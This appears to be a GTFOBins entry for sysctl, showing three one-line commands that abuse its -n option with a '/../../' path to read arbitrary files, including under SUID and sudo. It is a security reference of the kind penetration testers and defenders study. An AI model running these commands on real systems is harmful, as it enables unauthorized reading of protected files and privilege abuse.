GTFOBins.github.io/_gtfobins/sysctl.md
2020-06-11 18:25:45 +02:00

461 B

description functions
The `-p` argument can also be used in place of `-n`. In both cases though the output might get corrupted, so this might not be suitable to read binary files.
file-read suid sudo
code
LFILE=file_to_read /usr/sbin/sysctl -n "/../../$LFILE"
code
LFILE=file_to_read ./sysctl -n "/../../$LFILE"
code
LFILE=file_to_read sudo sysctl -n "/../../$LFILE"